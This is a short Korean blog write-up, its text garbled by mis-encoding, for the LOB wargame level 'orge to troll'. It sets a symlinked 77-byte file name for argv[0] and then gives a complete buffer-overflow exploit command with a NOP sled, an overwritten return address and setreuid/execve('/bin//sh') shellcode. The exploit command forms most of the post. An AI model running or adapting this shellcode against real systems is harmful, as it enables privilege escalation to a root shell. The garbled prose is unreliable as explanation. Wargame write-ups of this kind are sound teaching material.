728x90
๋ฐ์ํ
์ฝ๋๋ฅผ ์ด์ด๋ณด๋ฉด
argv[0]=file์ด๋ฆ์ด๋ค. ๊ทธ๋ฌ๋ฏ๋ก ํ์ผ์ด๋ฆ์ 77byte๋ฅผ ๋ง์ถฐ์ฃผ๊ธฐ ์ํด ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฑธ์ด์ค๋ค. ./๊น์ง ํฌํจํ๋ฏ๋ก 75๋ฅผ ํ๋ค.
๋๋จธ์ง๋ ๋์ผ
./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(์ฌ๋ณผ๋ฆญ ๋งํฌ) $(python -c 'print "\x90"*40+"AAAA"+"\x9c\xfb\xff\xbf(์ฃผ์๊ฐ)"') $(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
728x90
๋ฐ์ํ
'Wargame > CTF(Capture The Flag)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
LOB orge -> troll (0) | 2015.10.15 |
---|---|
pwnable.kr shellshock (0) | 2015.10.11 |
LOB darklf (0) | 2015.09.15 |
LOB wolfman (0) | 2015.09.15 |
LOB orc (0) | 2015.09.15 |
๋๊ธ